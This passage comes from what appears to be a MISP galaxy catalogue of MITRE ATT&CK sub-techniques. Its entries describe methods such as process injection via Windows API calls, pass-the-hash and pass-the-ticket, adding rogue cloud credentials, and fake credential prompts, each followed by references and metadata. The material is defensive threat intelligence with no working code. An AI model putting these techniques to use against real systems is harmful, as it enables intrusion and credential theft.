UUID f9e9365a-9ca2-4d9c-8e7c-050d73d1101a which can be used as unique global reference for SQL Stored Procedures - T1505.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1505/001 - webarchive
- https://blog.netspi.com/attacking-sql-server-clr-assemblies/ - webarchive
- https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/ - webarchive
- https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017 - webarchive
- https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017 - webarchive
- https://securelist.com/malicious-tasks-in-ms-sql-server/92167/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1505.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Archive via Utility - T1560.001
Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.
Adversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.
On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. Remote Data Staging).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use certutil to Base64 encode collected data before exfiltration.
Adversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)
Internal MISP references
UUID 00f90846-cbd1-4fc5-9233-df5c2bf2a662 which can be used as unique global reference for Archive via Utility - T1560.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1560/001 - webarchive
- https://en.wikipedia.org/wiki/List_of_file_signatures - webarchive
- https://lolbas-project.github.io/lolbas/Binaries/Diantz/ - webarchive
- https://www.7-zip.org/ - webarchive
- https://www.rarlab.com/ - webarchive
- https://www.winzip.com/win/en/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1560.001 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Additional Cloud Credentials - T1098.001
Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the sts:GetFederationToken API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence)
Internal MISP references
UUID 8a2f40cf-8325-47f9-96e4-b1ca4c7389bd which can be used as unique global reference for Additional Cloud Credentials - T1098.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1098/001 - webarchive
- https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add - webarchive
- https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ - webarchive
- https://expel.io/blog/finding-evil-in-aws/ - webarchive
- https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - webarchive
- https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ - webarchive
- https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 - webarchive
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - webarchive
- https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 - webarchive
- https://sysdig.com/blog/scarleteel-2-0/ - webarchive
- https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - webarchive
- https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1098.001 |
| kill_chain | ['attack-IaaS:persistence', 'attack-Azure-AD:persistence', 'attack-SaaS:persistence', 'attack-IaaS:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-SaaS:privilege-escalation'] |
| mitre_data_sources | ['User Account: User Account Modification'] |
| mitre_platforms | ['IaaS', 'Azure AD', 'SaaS'] |
Related clusters
To see the related clusters, click here.
Impersonate SS7 Nodes - T1430.002
Adversaries may exploit the lack of authentication in signaling system network nodes to track the to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport)
By providing the victim’s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device’s geographical cell area or nearest cell tower.(Citation: Engel-SS7)
Internal MISP references
UUID 0f4fb01b-d57a-4375-b7a2-342c9d3248f7 which can be used as unique global reference for Impersonate SS7 Nodes - T1430.002 in MISP communities and other software using the MISP galaxy
External references
- http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf - webarchive
- https://attack.mitre.org/techniques/T1430/002 - webarchive
- https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html - webarchive
- https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf - webarchive
- https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf - webarchive
- https://www.youtube.com/watch?v=q0n5ySqbfdI - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1430.002 |
| kill_chain | ['mobile-attack-Android:collection', 'mobile-attack-iOS:collection', 'mobile-attack-Android:discovery', 'mobile-attack-iOS:discovery'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Compile After Delivery - T1027.004
Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)
Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)
Internal MISP references
UUID c726e0a2-a57a-4b7b-a973-d0f013246617 which can be used as unique global reference for Compile After Delivery - T1027.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/004 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/ - webarchive
- https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.004 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Remote Data Staging - T1074.002
Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020)
By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.
Internal MISP references
UUID 359b00ad-9425-420b-bba5-6de8d600cbc0 which can be used as unique global reference for Remote Data Staging - T1074.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1074.002 |
| kill_chain | ['attack-Windows:collection', 'attack-IaaS:collection', 'attack-Linux:collection', 'attack-macOS:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'File: File Creation'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Portable Executable Injection - T1055.002
Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.
PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 806a49c4-970d-43f9-9acc-ac0ee11e6662 which can be used as unique global reference for Portable Executable Injection - T1055.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.002 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Pass the Hash - T1550.002
Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.(Citation: Stealthbits Overpass-the-Hash)
Internal MISP references
UUID e624264c-033a-424d-9fd7-fc9c3bbdb03e which can be used as unique global reference for Pass the Hash - T1550.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1550.002 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Archive via Library - T1560.002
An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.
Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.
Internal MISP references
UUID 41868330-6ee2-4d0f-b743-9f2294c3c9b6 which can be used as unique global reference for Archive via Library - T1560.002 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1560.002 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection'] |
| mitre_data_sources | ['File: File Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
GUI Input Capture - T1056.002
Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control).
Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and PowerShell.(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).(Citation: Spoofing credential dialogs)
Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.
Internal MISP references
UUID a2029942-0a85-4947-b23c-ca434698171d which can be used as unique global reference for GUI Input Capture - T1056.002 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1056/002 - webarchive
- https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html - webarchive
- https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ - webarchive
- https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ - webarchive
- https://logrhythm.com/blog/do-you-trust-your-computer/ - webarchive
- https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1056.002 |
| kill_chain | ['attack-macOS:collection', 'attack-Windows:collection', 'attack-Linux:collection', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-Linux:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['macOS', 'Windows', 'Linux'] |
Related clusters
To see the related clusters, click here.
Dynamic API Resolution - T1027.007
Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.
API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)
To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.
Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as GetProcAddress() and LoadLibrary(). These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)
Internal MISP references
UUID ea4c2f9c-9df1-477c-8c42-6da1118f2ac4 which can be used as unique global reference for Dynamic API Resolution - T1027.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1027/007 - webarchive
- https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03 - webarchive
- https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf - webarchive
- https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection - webarchive
- https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1027.007 |
| kill_chain | ['attack-Windows:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata', 'Module: Module Load', 'Process: OS API Execution'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Rename System Utilities - T1036.003
Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke)
Internal MISP references
UUID bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b which can be used as unique global reference for Rename System Utilities - T1036.003 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1036/003 - webarchive
- https://lolbas-project.github.io/ - webarchive
- https://twitter.com/ItsReallyNick/status/1055321652777619457 - webarchive
- https://www.elastic.co/blog/how-hunt-masquerade-ball - webarchive
- https://www.f-secure.com/documents/996508/1030745/CozyDuke - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.003 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Metadata', 'File: File Modification', 'Process: Process Metadata'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Network Logon Script - T1037.003
Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.
Adversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
Internal MISP references
UUID c63a348e-ffc2-486a-b9d9-d7f11ec54d99 which can be used as unique global reference for Network Logon Script - T1037.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037.003 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Active Directory: Active Directory Object Modification', 'Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Thread Execution Hijacking - T1055.003
Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.
Thread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)
This is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID 41d9846c-f6af-4302-a654-24bba2729bc6 which can be used as unique global reference for Thread Execution Hijacking - T1055.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.003 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Pass the Ticket - T1550.003
Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
When preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)
A Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)
A Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)
Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)
Internal MISP references
UUID 7b211ac6-c815-4189-93a9-ab415deca926 which can be used as unique global reference for Pass the Ticket - T1550.003 in MISP communities and other software using the MISP galaxy
External references
- http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos - webarchive
- http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf - webarchive
- https://adsecurity.org/?p=556 - webarchive
- https://attack.mitre.org/techniques/T1550/003 - webarchive
- https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf - webarchive
- https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1550.003 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Creation', 'User Account: User Account Authentication'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Web Portal Capture - T1056.003
Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.
This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
Internal MISP references
UUID 69e5226d-05dc-4f15-95d7-44f5ed78d06e which can be used as unique global reference for Web Portal Capture - T1056.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1056.003 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection', 'attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access'] |
| mitre_data_sources | ['File: File Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Related clusters
To see the related clusters, click here.
Container Orchestration Job - T1053.007
Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
Internal MISP references
UUID 1126cab1-c700-412f-a510-61f4937bb096 which can be used as unique global reference for Container Orchestration Job - T1053.007 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1053/007 - webarchive
- https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/ - webarchive
- https://kubernetes.io/docs/concepts/workloads/controllers/job/ - webarchive
- https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1053.007 |
| kill_chain | ['attack-Containers:execution', 'attack-Containers:persistence', 'attack-Containers:privilege-escalation'] |
| mitre_data_sources | ['Container: Container Creation', 'File: File Creation', 'Scheduled Job: Scheduled Job Creation'] |
| mitre_platforms | ['Containers'] |
Related clusters
To see the related clusters, click here.
Windows Command Shell - T1059.003
Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.(Citation: SSH in Windows)
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
Internal MISP references
UUID d1fcf083-a721-4223-aedf-bf8960798d62 which can be used as unique global reference for Windows Command Shell - T1059.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.003 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Network Trust Dependencies - T1590.003
Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).
Internal MISP references
UUID 36aa137f-5166-41f8-b2f0-a4cfa1b4133e which can be used as unique global reference for Network Trust Dependencies - T1590.003 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1590.003 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Related clusters
To see the related clusters, click here.
Space after Filename - T1036.006
Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Internal MISP references
UUID e51137a5-1cdc-499e-911a-abaedaa5ac86 which can be used as unique global reference for Space after Filename - T1036.006 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1036.006 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['File: File Metadata'] |
| mitre_platforms | ['Linux', 'macOS'] |
Related clusters
To see the related clusters, click here.
Double File Extension - T1036.007
Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)
Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)
Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Internal MISP references
